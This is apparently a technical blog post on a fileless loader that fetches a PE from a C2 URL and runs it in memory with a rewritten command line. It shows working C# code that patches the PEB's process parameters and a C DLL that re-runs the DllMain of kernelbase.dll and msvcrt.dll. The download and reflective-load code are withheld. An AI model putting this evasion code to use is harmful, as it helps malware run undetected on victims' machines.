1. Overview
This article describes the following topics.
・Commandline rewriting technique
・Applying new command line to reflective loaded PE file's context
My goal was to develop loader that load PE file from URL and launch PE file in memory with new commandline context. This is stealth since it leaves no final payload on filesystem. Since this is a topic that has been described exhaustively, this post does not describe downloading PE file and reflective load. This article does not show the full code to prevent abuse.
2. Commandline rewriting
When this loader starts, loader's commandline is "loader.exe [c2url] [newcommand]". This loader needs to load the PE file into memory and patch memory so that [newcommand] is handled as the first argument. The commandline is included in RTL_USER_PROCESS_PARAMETERS structure, which is pointed to by ProcessParameters member of PEB structure. PEB is very important structure in the process.
I believe it will work even if only CommandLine member is patched, but this time I created new RTL_USER_PROCESS_PARAMETERS structure. RTLCreateProcessParametersEx function can be used to create new RTL_USER_PROCESS_PARAMETERS structure. C# code to create and patch new RTL_USER_PROCESS_PARAMETERS structure is shown as follows.
...
//Save old commandline context
System.Diagnostics.Process hProcess = System.Diagnostics.Process.GetCurrentProcess();
IntPtr handle = hProcess.Handle;
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
IntPtr tmp = IntPtr.Zero;
NtQueryInformationProcess(handle, 0, ref pbi, (uint)(IntPtr.Size * 6), tmp);
IntPtr pebAddress = pbi.PebAddress;
PEB peb = PEB.Create(pebAddress);
RTL_USER_PROCESS_PARAMETERS paramter = RTL_USER_PROCESS_PARAMETERS.Create(peb.ProcessParameters);
Parameter = paramter.CommandLine;
DllPath = paramter.DllPath;
ImagePath = paramter.ImagePathName;
CurrentDir = paramter.CurrentDirectory.DosPath;
WindowTitle = paramter.WindowTitle;
DesktopInfo = paramter.DesktopInfo;
ShellInfo = paramter.ShellInfo;
RuntimeData = paramter.RuntimeData;
Flags = paramter.WindowFlags;
Environment = paramter.Environment;
ConsoleHandle = paramter.ConsoleHandle;
StandardInput = paramter.StandardInput;
StandardOutput = paramter.StandardOutput;
StandardError = paramter.StandardError;
...
//Create new commandline context
UNICODE_STRING patch_commandline = CreateUnicodeString(Marshal.PtrToStringUni(ImagePath.Buffer) + " " + param);
IntPtr pParamter = IntPtr.Zero;
uint status = RtlCreateProcessParametersEx(ref pParamter, ref ImagePath, ref DllPath, ref CurrentDir, ref patch_commandline, Environment, ref WindowTitle, ref DesktopInfo, ref ShellInfo, ref RuntimeData, Flags);
...
//Patch commandline
ulong writesize = 0;
long pacth = (long)pParamter;
WriteProcessMemory(handle, pebAddress + 0x20, ref pacth, 8, ref writesize);
...
I ran this code and it triggered a crash. What went wrong?
I checked RTL_USER_PROCESS_PARAMETERS structure created by RTLCreateProcessParametersEx function.
It appears that the pointer to buffer is wrong. After investigation, I noticed that this is an offset from the top of RTL_USER_PROCESS_PARAMETERS structure. Therefore, the top address of RTL_USER_PROCESS_PARAMETERS structure was added to buffer member of each unicode string. In addition, each handle was null, so this was patched.
public void RelocateUnicodeString(IntPtr Addr, long baseaddr)
{
System.Diagnostics.Process hProcess = System.Diagnostics.Process.GetCurrentProcess();
IntPtr handle = hProcess.Handle;
ulong writesize = 0;
IntPtr patch_ptr = (IntPtr)Marshal.PtrToStructure(Addr + 8, typeof(IntPtr));
long patch = (long)patch_ptr + baseaddr;
WriteProcessMemory(handle, Addr + 8, ref patch, 8, ref writesize);
IntPtr patched_ptr = (IntPtr)Marshal.PtrToStructure(Addr + 8, typeof(IntPtr));
}
public void PatchMember(IntPtr Addr, long value, Int32 size)
{
System.Diagnostics.Process hProcess = System.Diagnostics.Process.GetCurrentProcess();
IntPtr handle = hProcess.Handle;
ulong writesize = 0;
WriteProcessMemory(handle, Addr, ref value, size, ref writesize);
}
...
RelocateUnicodeString(pParamter + 0x38, (long)pParamter); //Patch CurrentDirectory
RelocateUnicodeString(pParamter + 0x50, (long)pParamter); //Patch DllPath
RelocateUnicodeString(pParamter + 0x60, (long)pParamter); //Patch ImagePathName
RelocateUnicodeString(pParamter + 0x70, (long)pParamter); //Patch CommandLine
RelocateUnicodeString(pParamter + 0xB0, (long)pParamter); //Patch WindowTitle
RelocateUnicodeString(pParamter + 0xC0, (long)pParamter); //Patch DesktopInfo
RelocateUnicodeString(pParamter + 0xD0, (long)pParamter); //Patch ShellInfo
RelocateUnicodeString(pParamter + 0xE0, (long)pParamter); //Patch RuntimeData
PatchMember(pParamter + 0x20, (long)StandardInput, 8); //Patch StandardInput
PatchMember(pParamter + 0x28, (long)StandardOutput, 8); //Patch StandardOutput
PatchMember(pParamter + 0x30, (long)StandardError, 8); //Patch StandardError
When this loader set fully configured RTL_USER_PROCESS_PARAMETERS structure, this result was shown as follows. Looks like commandline rewriting is not working. In addition, some PE files triggered a crash.
Nonetheless, this commandline for process appears to be correctly modified. This means that the commandline changes are not applied to in-memory execution context.
3. Applying commandline to in-memory execution context
How are commandline arguments passed to main function? In net1.exe, it is retrieved by __getmainargs function in msvcrt.dll.
msvcrt.dll saves the commandline to global variable by GetCommandLineA or GetCommandLineW at load time. __getmainargs function gets the value from this global variable and returns it. In other words, the commandline at the time msvcrt.dll was loaded is passed to main function, not the rewritten command line. Therefore, function that is triggered at the time msvcrt.dll was loaded must be run again.
Furthermore, it is not enough to rerun the function that is triggered at the time msvcrt.dll. GetCommandLineA function is used when this function sets the commandline to global variable, but the return value of GetCommandLineA is not the current commandline.
GetCommandLineA function is implemented in similar style with __getmainargs function. KernelBase.dll saves the commandline from PEB to global variable at load time. GetCommandLineA simply returns the value of this global variable.
As conclusion, the following operations are required to apply the rewritten commandline to main function.
・Re-run dllmain function in kernelbase.dll to change the return values of CommandLineA and CommandLineW
・Re-run dllmain function in msvcrt.dll to change the commandline passed to main function
Unfortunately, these functions are fastcall and cannot use in C# delegate. Therefore, I created DLL that executes these two functions. This should correctly apply new commandline to in-memory execution context.
#include "pch.h"
#include "windows.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved){
HANDLE hLib = LoadLibraryA("kernelbase.dll");
HANDLE hLib2 = LoadLibraryA("msvcrt.dll");
typedef void __fastcall dllmain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
dllmain* func = NULL;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
IMAGE_DOS_HEADER* idh;
idh = (IMAGE_DOS_HEADER*)hLib;
IMAGE_NT_HEADERS64* inh;
inh = (IMAGE_NT_HEADERS64*)((LONG64)hLib + idh->e_lfanew);
func = (dllmain*)((LONG64)hLib + inh->OptionalHeader.AddressOfEntryPoint);
func((HINSTANCE)hLib, 1, 0);
idh = (IMAGE_DOS_HEADER*)hLib2;
inh = (IMAGE_NT_HEADERS64*)((LONG64)hLib2 + idh->e_lfanew);
func = (dllmain*)((LONG64)hLib2 + inh->OptionalHeader.AddressOfEntryPoint);
func((HINSTANCE)hLib2, 1, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The loader operation was as shown follows. Depending on framework and programming language of the executable to be loaded, additional operations may be required.
It works well
Comments
Post a Comment